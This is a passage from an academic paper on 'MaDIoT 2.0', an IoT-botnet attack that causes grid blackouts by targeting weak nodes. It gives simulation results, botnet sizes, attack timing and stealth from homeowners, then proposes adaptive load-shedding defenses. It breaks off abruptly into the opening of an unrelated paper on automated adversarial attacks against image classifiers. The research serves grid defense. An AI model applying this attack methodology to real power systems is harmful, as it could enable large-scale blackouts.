will be unstable; otherwise, the available botnet is not strong

enough to take down the power grid and the attack scenario
is not feasible in the current operating point. If the attack
does not succeed with the current state, the attacker needs to
wait for at least five minutes so that the operating point of the
grid and power consumption in different nodes change. Then,
the adversaries will repeat the previous analysis until they
find an attack with a high success likelihood. The accuracy
of this evaluation is numerically evaluated in Section 5. We
will show that by using a suitable voltage stability index, the
success rate of the attack can be as high as 90%.

5 Experiments and Discussion

Due to the irreparable economic and social damages caused
by the real-world implementation of MaDIoT 2.0, we use
simulation results to show the performance of the proposed
attack (as was done in previous work [5, 6]). In this line,
instead of adopting simplified models and simulations, we
leveraged an advanced, commercial power system simulation
software called DIgSILENT PowerFactory [36].

5.1 Test Case and Component Modeling
To evaluate the performance of the proposed attack, we use
a standard test power grid, called the New England power
system—this is also known as the IEEE 39-bus test system.
The New England power system includes 39 buses (nodes),
32 transmission lines, 24 power transformers, and 10 genera-
tors. The total base load of the system is 6097.1 MW (active
load) and 1408.9 MVAr (reactive load) [37]. This test case is
greater than the New York and California ISOs together, and
hence, is a reasonable representation of power grids in various
countries. We will also use a smaller test case (IEEE 9-bus
test system) which has been used in the previous relevant
works [5, 6]. The IEEE 9-bus test system has 6 transmission
lines, 2 power transformers, 3 generators with a total active
and reactive power generation of 350 MW and 244 MVAr.
Further explanation about the used test cases can be found in
Section 10 (Appendix).

To capture the system dynamics and minimize the simu-
lation errors, we used the best recommendation from power
system standards [12]. An eighth-order model is used for rep-
resenting the dynamics of generators. In this model, the me-
chanical part of the generator is formulated by a second-order
state-space equation and the electrical part by a sixth-order
system [12]. Furthermore, the IEEE-type DC1A excitation
system for modeling the AVRs of generators and an appropri-
ate governor model are employed in our simulations [12].

We also adopt a combinational load model in our simula-
tions, where the static and dynamic parts of the composite
model are represented by a polynomial model (i.e., a mixture
of power constant, current constant, and impedance constant
loads) and a third-order induction motor, respectively [16,17].
This model of the system allows us to study the dynamic

USENIX Association 31st USENIX Security Symposium    3545



behavior of the power grid in response to MaDIoT 2.0 attacks
with minimal errors.

We model the system for 24 hours in each season. We
chose 24 hours because the daily load curve of each power
grid is similar and we can reasonably extrapolate the analyzed
results to longer periods of time such as one year [24, 25].
Previous works have studied the power grid behavior during
the non-strategic MaDIoT botnet attacks only in one snapshot
(e.g., 5 minutes) [5, 6]. Therefore, previous results cannot be
reliably extrapolated to longer time periods.

Table 2 summarizes the list of new models and simulation
contributions of the current work over the recent related works.
Our work presents the most comprehensive and high-fidelity
modeling of real-world power systems when compared to
previous works. Our improved models are highly important
because of three main reasons:

1. Ignoring the detailed modeling of the system controllers
(i.e., governor, AVR, AGC) in the time domain simula-
tions can lead to considerably erroneous results com-
pared with practical situations because these controllers
contribute to the system recovery when a severe incident
occurs in the grid [12].

2. When a big disturbance happens in the grid, system
protection schemes (i.e., distance, overcurrent, OVLS,
UVLS, UFLS, OFGR, differential, out-of-step, and loss-
of-excitation) seek to locate and isolate the faulty area
to limit the damaging consequences of the widespread
outages and area of the blackout. Hence, overlooking
these schemes in the simulations will lead to erroneous
results [38].

3. The detailed modeling of the system components (i.e.,
generators, static, and dynamic loads) play an important
role in the power system dynamic studies. During unsta-
ble conditions, the dynamic behavior of the loads and
system generators makes the situation worse and pushes
the grid towards a more unstable point where recovery
is hard [16].

This comprehensive system modeling approach can be used
in future studies as the benchmark.

5.2 Evaluation of MaDIoT 2.0
Grid Simulation and Botnet Features We first consider the
New England power grid for 24 hours. We assume that the at-
tacker obtains the power consumption of the simulated power
grid every 5 minutes. Therefore, there are 288-time intervals
in which the available high-wattage IoT botnet can be used to
take down the power grid. We chose a 24-hour grid simulation
because of the daily load patterns of the grid [39]. For our
initial evaluation, we assume that the attacker has access to a
botnet with 150,000 bots, each of which can consume 3 kW
of electrical power (⇠ 3,850 bots per node since the New

Table 2: Modeling and Simulation Contributions of the Cur-
rent Work Over the Recent Related Works

Element Our Work Soltan et. al. [5] Huang et. al. [6]
Governor 3 7 3
AVR 3 7 7
AGC 3 7 7
Distance 3 7 7
Overcurrent 3 3 3
OVLS 3 7 7
UVLS 3 7 3
UFLS 3 3 3
OFGR 3 7 7
Differential 3 7 7
Out-of-Step 3 7 7
Loss-of-Excitation 3 7 7
Static Load 3 3 3
Dynamic Load 3 7 7
Generator Model 3 7 7

England grid model has 39 nodes). In each node, the attacker
needs to control ⇠0.2% of the total real power of the grid
to have a consistent attack with high success rate. Accord-
ing to our calculations, there are roughly 52,000 residential
high-wattage IoT devices in each of the grid nodes in the New
England power grid (more than 2 million devices in the entire
grid). Assuming that the attacker cannot compromise more
than one bot in each residential home, he would need to com-
promise 3,850 homes (from 52,000 total homes within each
node) in each of the grid nodes to have a very high success
rate in his attack.

We use each of the voltage stability indices as a binary
predictor (if the algorithm gives a positive, it also gives us
the suitable nodes to launch the attack) at each simulation
time period. For the current time, the predictor can determine
whether to launch the attack or not. With the high accurate
simulation of the power grid, we evaluate the performance of
predictions. We have the following basic definitions used in
calculating the evaluation metrics.

• True Positive: When the predictor gives a positive (i.e.,
it recommends an attack) and the attack causes a black-
out.

• True Negative: When the predictor gives a negative (i.e.,
it recommends no attack) and a blackout in the system
is not possible even with a brute-force attack.

• False Positive: When the predictor gives a positive (i.e.,
it recommends an attack) but the attack’s implementation
does not cause a blackout.

• False Negative: When the predictor gives a negative
(i.e., it recommends no attack) but we find a “blackout”
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Figure 6: The performance of the proposed attack methods
along with the approaches developed in the most recent works
obtained from the New England power grid [5, 6].

 

Figure 7: The performance of the proposed attack methods
along with the approaches developed in the most recent works
obtained from the IEEE 9-bus test system [5, 6].

in the system by using a brute-force search of all possible
attacks (i.e., there is a successful MaDIoT attack, but the
predictor fails to see it).

Attack Performance in Test Grids Figure 6 illustrates
the precision, recall, and the F-1 score of the proposed attack
methods along with the approaches developed in the most re-
cent works obtained from the New England power grid [5, 6].
Here, the precision or recall alone are not suitable to judge the
performance of the studied attack methods. Since the meth-
ods proposed in [5, 6] have zero false negatives, their recall
is 100%. However, they have a high false-positive rate, and
hence, low performance. Accordingly, we use the F-1 score
to judge the overall performance of the simulated attack sce-
narios because it represents a combination of both precision
and recall. As can be seen in Figure 6, the proposed MaDIoT
2.0 attacks outperform the previous methods with a relatively
large margin. As previously reported by Huang et al. [6], we
confirm that in most of the cases the conventional protection
schemes are able to control the disturbance caused by ran-
dom attacks and keep the system stability following the IoT
botnet attack. However, MaDIoT 2.0 attacks can bypass these
protections and create a cascading failure of the bulk power
system. The reason behind this observation is that we target
the weakest nodes of the grid while the proposed attack sce-
narios in [5, 6] are uniformly spread over the grid. Simulating
the IEEE 9-bus test system reveals similar results with 0%,
0%, 61%, and 93% F-1 scores that are associated with Soltan
et. al. [5], Huang et. al. [6], Index 1 and Index 2, respectively
(see Figure 7).

Performance of Indices 1&2 The other interesting obser-

 

Figure 8: The accuracy of the proposed Index 1 and Index 2
compared with the exact calculations (ground truth).

vation is that Index 2 for the voltage stability margin indicator
performs much better than Index 1 for launching MaDIoT
2.0 attacks. Based on this observation, it is apparent that In-
dex 2 is a better indicator for determining the voltage stability
margin in system nodes. To validate this claim, we solved the
exact model of the system equations in all of the 288-time in-
tervals and obtained the error-free ranking of the system nodes
in terms of their voltage stability margins. Figure 8 depicts
the normalized accuracy of Index 1 and Index 2 compared
with the ground truth which was acquired through perform-
ing the computationally intensive calculations (that cannot
be performed in real-time) on the New England power grid.
According to this figure, Index 2 represents the ranking of the
grid nodes based on their voltage stability margins with lower
errors and this justifies the results we observed in Figure 6. It
should be noted that the exact equations of the entire grid took
longer than 24 hours to calculate (for all 288 time intervals)
and this is why we cannot use the exact model in the real-time
attack mechanism. On the other hand, the calculation of the
proposed indices in each of the time intervals took less than
5 sec (24 minutes for all 288-time intervals) and this makes
the MaDIoT 2.0 attack feasible in practice. Again, simulation
of the IEEE 9-bus system returns the same similar pattern
where the normalized accuracy of Index 2 is much higher
than that of Index 1. This is aligned with the aforementioned
performance metrics discussed in the previous paragraph.

Effect of Botnet Size on Success Rates We also consid-
ered how the size of the botnet changed the effectiveness of
all attacks. Figure 9 shows the F-1 score of different attack
methods versus the number of compromised high-wattage IoT
devices that the attacker can control in the new England power
grid. As can be seen, not only the proposed attack methods
have a higher F-1 score compared to the previous attack mech-
anisms in the literature, but also they require smaller botnets
to cause a large-scale blackout of the bulk power system. In
addition to this, as the size of the available botnet increases,
the success rate of the proposed attacks increases as well.
However, after a certain point (150,000 bots) the increase in
the attack success rate saturates and it does not respond to an
increase in the size of the available botnet. In the IEEE 9-bus
test system, the optimal success rate for the MaDIoT 2.0 at-
tack is achieved when the size of the botnet is 5,500 bots.
The reason for this observation and its difference with the
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Figure 9: The success rates of different IoT botnet attacks
versus the size of the available high-wattage IoT botnet in the
New England power grid.

New England power grid is that the IEEE 9-bus test system
is much smaller than the New England power grid. Based on
this, one can reasonably infer that for smaller power grids, we
will need smaller botnets to achieve the highest attack success
rate.

Effect of the Attack on Node Voltages and System Fre-
quency It is interesting to see how the proposed attack causes
a system collapse. To do so, we illustrate the voltage profile
of the system nodes and the grid frequency during different
attacks in the New England power grid. Figure 10 shows the
system frequency and the voltage profile of the New England
power grid during one of the simulated time intervals. In this
Figure, 0�, 1�, 2�, and 3� denote the attack time, protection
and control involvement time, system recovery to the normal
condition, and wide-area blackout (voltage collapse), respec-
tively. In this figure, (a1), (b1), and (c1) illustrate the system
frequency over time (the frequency is unique and equal in
every power grid). Also, (a2), (b2), and (c2) depict the system
voltage magnitude in different nodes over time (each node
has its voltage magnitude, and they are not equal in the entire
grid). As we can see, the system controllers and the protection
schemes are able to recover the grid to the normal operating
state following the attack scenarios proposed in [5, 6]. How-
ever, since our attack targeted the weak nodes of the system,
power grid controllers and protection schemes are unable to
handle the emergency conditions following the attack, and
a system-wide voltage collapse becomes inevitable. More
specifically, the voltage magnitude of the system nodes col-
lapses after a few seconds of starting the MaDIoT 2.0 attacks.
The blackout is confirmed almost ten seconds after the attack.

Effect of Botnet Time Delay on the Attack’s Perfor-
mance An important factor that has not been studied in the
previous works is the network delay of the bots’ activation dur-
ing the manipulation of demand attacks. Practically speaking,
the attacker cannot simultaneously activate/deactivate the bots
in the botnet because of the latency and randomness in the
underlying communication network. To model the network
latency associated with different bots, we considered a normal
probability distribution function (pdf) for the network latency.
Considering the standard deviation of 100 msec, Figure 11
depicts the successful rate of different attack methods versus
various values for the mean of the normal pdf in the New

England power grid. As can be seen, the latency of the com-
munication network does not have significant effects on the
proposed and previous attack methods. The MaDIoT 2.0 at-
tacks still have a very high chance to cause a system-wide
blackout in the studied power system. Simulating this delay
in the IEEE 9-bus test system resulted in a similar pattern
where no notable change was observed during the increase of
the botnet delay.

Effect of Available Bots in System Nodes Although Ma-
DIoT 2.0 attacks have excellent performance in causing
system-wide blackouts in power grids, they have their own
limitations. While MaDIoT 2.0 requires fewer bots, it also
requires the attacker to have a presence in all nodes. This is a
direct factor in the botnet operator’s success, i.e., if the oper-
ator does not have enough bots in a location that is a "weak
point", the adversary might not be able to launch a successful
attack sometimes. It should be noted that the weak points
of the power grid change as the loading of different nodes
change around the clock. Accordingly, even if the adversary
has compromised few bots in certain nodes, he still should be
able to cause a blackout in the target grid at certain times. To
verify these explanations, we did an experiment in the New
England power grid. Figure 12 shows the performance of the
MaDIoT 2.0 attacks with different coverage of nodes that
consist of high-wattage bots. As expected, although the attack
performance declines following the decrease in the number
of nodes having high-wattage bots, the success of MaDIoT
2.0 attacks are still higher than MaDIoT 1.0. In practice, there
are many high-wattage IoT devices that can be compromised
in each grid node. Smart HVAC systems and EVs are only two
classes of high-wattage devices that could be compromised
and leveraged by the attacker as a part of his botnet. There
are currently more than 30 million smart HVAC systems in
the north America region [40]. Also, the number of EVs on
U.S. roads is projected to reach 18.7 million in 2030, up from
1 million at the end of 2018. This is about 7% of the 259
million vehicles (cars and light trucks) expected to be on U.S.
roads in 2030 [41].

Maximum Waiting Time for the Attacker The maxi-
mum amount of time the attacker will have to wait so that
a feasible attack scenario occurs depends on the operating
point of the grid and its general stability margin. Modern
grids are often operated near to their stability limits to use the
maximum capacity of the grid components and to postpone
expensive grid expansion plannings. For this reason, a typical
power grid such as the New England test system forces the
attacker to wait roughly 3 hours. While impractical, (due to
the high operational cost of non-optimal grid operation), oper-
ating a grid with a higher stability margin would increase the
time the attacker would have to wait to launch a successful
attack.

Effect of Line Parameter Errors The other important as-
pect of the MaDIoT 2.0 attacks is their performance sensitivity
to estimation errors by the attacker. To analyze this in detail,

3548    31st USENIX Security Symposium USENIX Association



 
    (a1)          (b1)              (c1) 

 
    (a2)          (b2)            (c2) 
 

M 
L 

N 

M L N 

M 
L 

N 

O 
M L N M L 

M 
L 

N 

Figure 10: The system frequency and voltage profile of the New England power grid during one of the simulated time intervals
following the implementation of different attacks: a) Soltan et. al. [5], b) Huang et. al. [6], and c) Proposed approach using Index
2. Note: 0�, 1�, 2�, and 3� represent the attack time, protection and control involvement time, system recovery to the normal
condition, and wide-area blackout (voltage collapse), respectively.

 

Figure 11: The performance of the different IoT botnet attacks
in the New England power grid versus the mean value of the
normal pdf used for modeling the network latency.

 

Figure 12: The performance of the MaDIoT 2.0 attacks versus
the percent of the nodes including high-wattage IoT bots.

we performed two different experiments in the New England
power grid. In the first experiment, we assumed that the line
parameters of the grid transmission lines which are obtained
through offline analysis are not 100% accurate. Figure 13
depicts the performance of the MaDIoT 2.0 attacks versus the
mean error in the New England power grid line parameters.
According to this figure, the attack performance decreases
as the error becomes bigger. However, this performance re-
duction is not that significant and the MaDIoT 2.0 attacks
are still relatively effective in the presence of reasonable esti-
mation accuracy in the transmission line parameters. Since
the attack impact is lower with imperfect information, there
is value in adding deception. In fact, the defender can create

 

Figure 13: The performance of the MaDIoT 2.0 attacks versus
the mean error in the New England power grid line parame-
ters.

fake diagrams and substations in documents about the system
to create fake nodes; however, they also need to be consistent
with the physical-world information the attacker can get (e.g.,
build a phony substation that can be seen in Google Maps),
which can be challenging in practice.

Effect of Erroneous Grid Operation Data In our final ex-
periment, we considered the effectiveness of our data-driven
countermeasure, so we assumed that the data associated with
the power generation/consumption in different nodes is pub-
licly released with some errors. Figure 14 shows the per-
formance of the MaDIoT 2.0 attacks versus the mean er-
ror in the New England power grid nodes’ power genera-
tion/consumption. As it was expected, the performance of the
MaDIoT 2.0 attacks drastically declines with the increased
error in the grid nodes’ power generation/consumption. This
performance reduction is more severe than that of the previ-
ous experiment shown in Figure 13. It is worth mentioning
that Figure 14 implies that the first data-driven countermea-
sure (limiting the online data sharing) cannot be alone used
for eliminating the risk of MaDIoT 2.0 attacks. However, it
definitely reduces (⇠26% performance reduction for index 2
in the presence of 5% error) the attacker chance of launching
a successful attack to cause blackout in the entire grid.

As a final point, according to recent studies, the emerg-
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Figure 14: The performance of the MaDIoT 2.0 attacks versus
the mean error in the New England power grid nodes’ power
generation/consumption.

ing trends such as the proliferation of new technologies in
power grids such as rooftop solar panels and electric vehicles
(EVs) reduce the stability margin of the power grids [12], and
hence, increase the chance of successful MaDIoT 2.0 attacks
in practical cases. Therefore, developing novel countermea-
sures against MaDIoT 2.0 is needed in future studies.

6 Countermeasures

The most effective way to prevent MaDIoT 2.0 attacks is
to update the protection schemes of the power grid so that
they can recover system stability following any unpredictable
shocks caused by similar attacks. In our experiments, we saw
that UFLS and UVLS are the two main protection schemes
involved during MaDIoT 2.0 attacks.

Conventional UFLS and UVLS schemes drop a predeter-
mined amount of the power grid loads when the system fre-
quency and voltage drop severely following a technical event
such as the outage of a power plant or a heavy transmission
line. However, system operators do not consider the situations
such as MaDIoT 2.0 attacks when they are configuring them.
The current protection schemes drop the system loads that
are evenly distributed in the entire grid. However, as shown
in Section 5.2, this strategy is unable to protect the grid and
recover it following the proposed IoT botnet attack. While
one possible way to fix this issue is to drop the loads where
the attack was launched, it is hard to detect and identify the
location of the MaDIoT 2.0 attack in the grid. The reason is
that it is hard to distinguish between a natural load change
or technical event and a MaDIoT 2.0 attack from the system
monitoring perspective.

One of the effective indicators which could be leveraged to
detect the region of the manipulation of demand attacks is to
use the voltage falling rate of grid nodes [42]. We observed
that during the IoT botnet attacks, the voltage falling rate in
the nodes that are close to the attacked nodes is much higher
than that of the far nodes. Therefore, we revised the setting
of the existing protection schemes so that they will first drop
loads of the system in the nodes where the voltage falling
rate is bigger than the other nodes. This adaptive protection
scheme will shed some loads in the area of the attack and will

 

Figure 15: The performance of different manipulation of
demand attacks after the modification of UFLS and UVLS
schemes in the New England power grid.

help the system recover from the attack.
Figure 15 illustrates the performance of different manipu-

lation of demand attacks after the modification of UFLS and
UVLS schemes with the explained logic in the New England
power grid. As we can see, the F-1 score of the studied attack
mechanisms significantly drops with this modification. The
high recall occurs because we have zero false negatives in the
test cases. Figure 16 depicts the system frequency and voltage
profile following the implementation of a MaDIoT 2.0 at-
tack considering the modified adaptive protection scheme in
the New England power grid. We can see that the system
was going to become unstable following the attack; however,
the modified adaptive protection scheme is able to identify
the region of the attack and drop the loads accordingly. This
eventually helps the grid to fully recover from the attack and
prevent a system-wide blackout.

This is just an improvement to existing protection schemes
against IoT botnet attacks. However, we also need to check
that our modified protection scheme also works against nat-
ural incidents and compare it with the existing protection
schemes. We simulated the New England power grid apply-
ing a set of natural events and observed the performance of the
modified UFLS scheme. According to our observations, since
the modified UFLS algorithm drops the similar amount of
loads to the conventional one (but from different locations), it
is able to recover the system stability following natural events.
The reason is that for natural random events it does not matter
where we shed loads, it only matters what the amount of the
load shed is. However, further in-depth analysis is required
to verify the effectiveness of the modified protection scheme
and also to identify any possible weaknesses against natural
events.

7 Related Work

Power system cybersecurity has been widely studied in the
past few years [1, 2, 4, 5, 43–62]. Attacks on power systems
can be classified into three main groups based on the ultimate
goal of the attacker: i) attacks targeting the power grid com-
munication infrastructure, ii) attacks targeting the power grid
standalone components, and iii) attacks targeting the power
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Figure 16: The system frequency and voltage profile of the
New England power grid during one of the time intervals
following the implementation of MaDIoT 2.0 attack consid-
ering the modified adaptive protection scheme. Note: 0�, 1�,
and 2� represent the attack time, protection and control in-
volvement time, and system recovery to the normal condition,
respectively.

grid through consumers (load altering attacks).
In the last class of attacks, the adversaries try to indirectly

affect the normal operation of the system by attacking pric-
ing signals or consumer devices [5, 58–63]. These indirect
attacks were first introduced by Mohsenian-Rad and Leon-
Garcia [58]. In this work, the attackers compromise the load
control signals associated with big industrial loads and data
centers. Big data centers can be one of the primary targets
of load-altering attacks [59]. Barreto et al. [63] considered
how attacks could manipulate the demand-response market to
change abruptly the load of the grid with devices that respond
automatically to energy prices.

The interest in load-altering Botnet attacks started in
2017 and 2018 [5, 61, 62]. Dvorkin et al. [61] proposed an
optimization-based approach that requires a complete knowl-
edge of the power grid (topology of the grid, detailed pa-
rameters of the transmission lines/generators, and real-time
regional generation/demand). To overcome this challenge,
Dabrowski et al. proposed a new method to increase the to-
tal system demand through remotely activating CPUs, GPUs,
hard disks, screen brightness, and printers to cause frequency
instability in the European power grid [62]. Although the new
approach did not require as much detailed information about
the power grid, the number of compromised devices needed
for a successful attack is quite high because the devices do not
consume a lot of power. Soltan et al. proposed the use of high-
wattage IoT devices to launch various types of attacks (fre-
quency instability, power line cascade tripping, and black start

restoration interruption) on a power grid to cause blackouts in
the entire system [5]. This novel attack, called Manipulation
of demand via IoT (MadIoT), was further analyzed by Huang
et. al. [6] and it was shown that the introduced attack is not as
effective as it was illustrated in [5]. The new analysis in [6] re-
vealed that while MaDIoT attacks could have negative effects
on the power grid operation, it is hard to cause a widespread
system collapse. According to these analysis, the existence
of conventional protection schemes in the grid can effectively
protect the system against random MadIoT attacks. However,
these protection schemes were mainly designed to help the
power grid withstand against credible contingencies and there
was no consideration of the manipulation of demand attacks
in their configurations [16, 38].

8 Conclusion and Possible Directions

In this paper, we introduced MaDIoT 2.0: a hierarchical two-
stage attack mechanism that leverages the potential of high-
wattage IoT botnets to attack the power grid and cause a
widespread blackout in the entire system. The performance
of the developed attack methods is evaluated using extensive
simulations and the results showed the superiority of MaDIoT
2.0 over the previously studied attack mechanisms. More
specifically, the success rates of the new IoT botnet attack
were 91% and 67% for voltage stability Index 1 and Index
2, respectively. In addition, MaDIoT 2.0 requires a smaller
number of bots involved in the attacks, since it targets the
weakest nodes of the system in the current operating state.
Finally, we discussed and showed the effectiveness of pro-
posed countermeasures to mitigate or reduce the damaging
consequences of the studied attacks.

In closing, we recommend the following next directions:

• System operators should reconsider the current unneces-
sary online data sharing mechanisms and policies. Ac-
cess to historical and real-time system data can be easily
leveraged for malicious purposes.

• Further research is required to develop additional Ma-
dIoT attacks and effective protection schemes to help
the power grid withstand emerging high-wattage botnet
attacks.
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9 Attack Feasibility

9.1 From the IoT Botnet Perspective
One of the main questions about manipulation of demand
attacks is how feasible it is to gain control of a botnet of high-
wattage devices within a limited geographical area. Histori-
cally, the number of IoT botnets in recent years has increased
dramatically, with famous IoT botnets including Mirai, Lu-
aBot, Hajime, and BrickerBot [64–67]. Similar to previous
work [5, 6], we assume that the attacker has access to a high-
wattage IoT botnet.

The key aspect of our attack is that the adversary needs to
activate the attack only in specific geographical areas (such
as a city). The differentiation between the location of the
compromised bots can be initially done by classifying and
using their IP addresses. There are various research efforts
providing IP location with median errors of just 3.4km [68],
and free and commercial IP geolocation databases claiming
to locate cities (the nodes we are interested in for our study)
with an accuracy of over 85% [69].

Compared to previous work [5, 6], MaDIoT 2.0 attack re-
quires fewer IoT bots to be successful. The reason is that Ma-
DIoT 2.0 attacks target the most vulnerable nodes of the grid
instead of launching attacks spread over all nodes. As shown
in Section 5, an adversary with 150,000 bots can effectively
take down a typical power grid with MaDIoT 2.0 attacks.
Considering IoT botnets such as Mirai had over six hundred
thousand compromised devices [64], the future existence of a
high-wattage IoT botnet with 150,000 bots is not unlikely.

In practice, there are many high-wattage IoT devices that
can be compromised in each grid node. Smart HVAC systems
and EVs are only two classes of high-wattage devices that
could be compromised and leveraged by the attacker as a
part of his botnet. There are currently more than 30 million

smart HVAC systems in the north America region [40]. Also,
the number of EVs on U.S. roads is projected to reach 18.7
million in 2030, up from 1 million at the end of 2018. This is
about 7% of the 259 million vehicles (cars and light trucks)
expected to be on U.S. roads in 2030 [41].

Entrepreneurial attackers can compromise high-wattage
devices and then offer them for rent. This practice is common
in current botnets [70–75]. The available botnet rental ser-
vices provide clients with the capability to launch a limited
or unlimited (for premium users) number of attacks per day
with a guaranteed minimum duration from minutes to hours.
Since MaDIoT 2.0 attacks take less than a minute, all of the
currently available botnets satisfy this time requirement. The
cost of renting a typical IoT botnet is negligible compared
with the cost of a typical blackout. For example, Anderson
Economic Group (AEG) estimates the likely total cost of
the 2003 northeast US blackout to be between $4.5 and $8.2
billion [76].

9.2 From the End User’s Perspective
In order to make the attack repeatable, the adversary should
try to keep it as stealthy as possible. From the end user’s per-
spective, we discuss i) the effect of the attack on the billing
statement of the homeowners, and ii) the possibility of attack
detection and prevention in each home/building. The financial
effect of the MaDIoT 2.0 attack on each of the homeowners
depends on the duty cycle of the attack as well as the total
power consumption at home. As mentioned earlier, MaDIoT
2.0 attacks use the compromised high-wattage devices for less
than one minute. Therefore, even if the adversary launches
this attack multiple times each month, its effect in the house-
hold is minimal. According to the energy information ad-
ministration (EIA), the average electricity consumption of
Americans is approximately 914 kWh per month. Tennessee
has the highest electricity consumption at 1,282 kWh per
residential customer, and Hawaii has the lowest at 517.75
kWh per residential customer [77]. Assuming that each of the
high-wattage IoT bots consumes 3 kW of electricity and con-
sidering the duration of multiple typical attacks in each month
(30 minutes), each compromised home will pay 0.11%-0.28%
additional payment for electricity bills, which we believe is
unnoticeable. To answer the second question, the possibil-
ity of the MaDIoT 2.0 attack is detected by home or device
owners is almost negligible because the duration of the attack
is very short (e.g., 10 seconds) to raise any suspicions. In
addition to this, even if the home owner notices the unwanted
activation/deactivation of the compromised high-wattage de-
vices, he would likely think that it is happening because of a
software bug in the device and a simple restart would resolve
the issue but it is already too late and the blackout has already
occurred (the attack usually takes less 30 seconds to cause
a blackout in the entire system). Note that in the worst case,
individual bot detection and losing few bots would not thwart
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the entire attack.

10 Basic Data of Test Cases

Figure 17: The single-line diagram of the New England power
grid (IEEE 39-bus test system) [37].

 

 

Figure 18: The active and reactive powers of the New England
power grid during the evaluation period.

In this Section, the basic data for simulating the test sys-
tems were given, which might be used in future studies as
benchmark cases. The single-line diagram of the New Eng-
land power grid is shown in Figure 17 [37]. The total base
load of the system is 6097.1 MW (active load)and 1408.9
MVAr (reactive load). To expand the base load, we used a
daily load profile in the grid meaning that at every minute, the
load of the grid nodes changes similar to the real-world cases.
The daily load profile we consider is illustrated in Figure 18
for the New England power grid. The dynamic and static
parameters of the system generators are outlined in Table 3.

The grid graph or the single-line diagram of the IEEE 9-
bus test system is illustrated in Figure 19 [78]. For the IEEE
9-bus system, we used a relatively similar load curve shown
in Figure 20. Also, the dynamic and static parameters of the
system generators in this system are outlined in Table 4.

Table 3: Generator Parameters for the New England Power
Grid

G H x0d x0q xd xq T 0
do T 0

qo xl
G1 500 0.006 0.008 0.02 0.019 7.0 0.7 0.003
G2 30.3 0.0697 0.170 0.295 0.282 6.56 1.5 0.035
G3 35.8 0.0531 0.0876 0.2495 0.237 5.7 1.5 0.0304
G4 28.6 0.0436 0.166 0.262 0.258 5.69 1.5 0.0295
G5 26.0 0.132 0.166 0.67 0.62 5.4 0.44 0.054
G6 34.8 0.05 0.0814 0.254 0.241 7.3 0.4 0.0224
G7 26.4 0.049 0.186 0.295 0.292 5.66 1.5 0.0322
G8 24.3 0.057 0.0911 0.290 0.280 6.7 0.41 0.028
G9 34.5 0.057 0.0587 0.2106 0.205 4.79 1.96 0.0298
G10 42.0 0.031 0.008 0.1 0.069 10.2 0.0 0.0125

Figure 19: The single-line diagram of the IEEE 9-bus test
system [78].

 

 

Figure 20: The active and reactive powers of the IEEE 9-bus
test system during the evaluation period.

Table 4: Generator Parameters for the IEEE 9-Node System
G H x0d x0q xd xq T 0

do T 0
qo xl

G1 0 0.0608 0.0969 0.146 0.0969 8.96 0 0.0032
G2 0 0.1198 0.1969 0.8958 0.8645 6.0 0.535 0.026
G3 0 0.1813 0.25 1.3125 1.2578 5.89 0.6 0.036
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Abstract
Adversarial attacks can fool deep learning models by im-
posing imperceptible perturbations onto natural examples,
which have provoked concerns in various security-sensitive
applications. Among them, decision-based black-box attacks
are practical yet more challenging, where the adversary can
only acquire the final classification labels by querying the
target model without access to the model’s details. Under
this setting, existing works usually rely on heuristics and ex-
hibit unsatisfactory performance in terms of query efficiency
and attack success rate. To better understand the rationality of
these heuristics and further improve over existing methods, we
propose AutoDA to automatically discover decision-based it-
erative adversarial attack algorithms. In our approach, we con-
struct a generic search space of attack algorithms and develop
an efficient search algorithm to explore this space. Although
we adopt a small and fast model to efficiently evaluate and dis-
cover qualified attack algorithms during the search, extensive
experiments demonstrate that the discovered algorithms are
simple yet query-efficient when attacking larger models on
the CIFAR-10 and ImageNet datasets. They achieve compa-
rable performance with the human-designed state-of-the-art
decision-based iterative attack methods consistently.

1 Introduction

Deep learning models have obtained impressive performance
improvements on various pattern recognition tasks [1–4].
However, these models are vulnerable to adversarial exam-
ples [5, 6], which are maliciously crafted by adding small
adversarial perturbations to natural examples but can fool the
target model to make incorrect predictions. The existence of
adversarial examples to deep learning models raises poten-
tial risks in security-sensitive applications that adopt deep
learning techniques, such as face recognition [7], autonomous
driving [8], and medical image analysis [9]. Thus, the study
of adversarial robustness has attracted increasing attention.

∗Jun Zhu is the corresponding author.

A number of adversarial attack methods have been devel-
oped [6, 10–12] to generate adversarial perturbations under
various threat models, which help to identify the vulnera-
bilities and serve as an indispensable surrogate to evaluate
adversarial robustness [13, 14].

Along with adversarial attacks, there is also a rapid de-
velopment of defense methods. To understand their effects
and identify the real progress of the field, it is of great im-
portance to evaluate the existing defense methods correctly
and reliably [14–16]. It sometimes needs carefully designed
adaptive attacks to evaluate the worst-case robustness of a
particular defense, e.g., gradient obfuscation [17, 18]. Those
attack methods were typically designed by experts case by
case, which often requires a considerable amount of manual
trial-and-error efforts. One may hope to automatically dis-
cover attack methods to ease this burden, which can not only
serve as a reasonable baseline for measuring the strength of
expert-designed attack methods but also examine the rational-
ity of heuristics or assumptions used by them.

The desire of automated attacks becomes even more ur-
gent in the practical yet challenging setting of decision-based
black-box attack. Although various decision-based attack
methods have been proposed [7, 10, 12, 19–24], many of
them are based on heuristics and exhibit unsatisfactory per-
formance, as compared to gradient-based white-box attack
methods which could be optimal in some sense [25]. Au-
tomating the process of discovering decision-based attacks
can help to understand the rationality of these heuristics, and
to discover new methods.

The problem of automatically discovering decision-based
attack algorithms falls into the general direction of program
synthesis, which aims to automatically discover a program
satisfying a user intent specification [26]. Many generic
methodologies and techniques have been developed for pro-
gram synthesis, with the majority focusing on software prob-
lems [27–29]. On the other side, the task of automating the
process of solving machine learning problems is known as
automated machine learning (AutoML) [30]. One most attrac-
tive direction of AutoML is neural architecture search (NAS),
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which aims to automatically discover good architectures of
deep networks [31]. Unlike existing works that often start
with expert designed layers, a recent work AutoML-Zero [32]
moves one step further and shows promise to search for a com-
plete classification algorithm (e.g., two-layer neural networks)
from scratch with minimal human participation. However, the
discovered classification algorithms are still far behind the cur-
rent practice. To the best of our knowledge, none of existing
program synthesis or AutoML solutions could automatically
discover decision-based black-box attack algorithms yet.

In this work, we propose to solve the practical yet challeng-
ing problem of decision-based adversarial attack by automat-
ically searching for qualified attack algorithms. We call our
approach as Automated Decision-based Attacks (AutoDA).
Technically, inspired by program synthesis works, we choose
an algorithm template [33] first proposed in the Boundary
attack [12] to alleviate the difficulty of the search problem,
and apply pruning techniques based on constraints imposed
by the algorithm template and the adversarial attack problem
to further reduce the search space.

Specifically, for the missing components in the algorithm
template, we design a search space constructed from basic
mathematical operations, which provides sufficient expres-
siveness for the decision-based adversarial attack problem
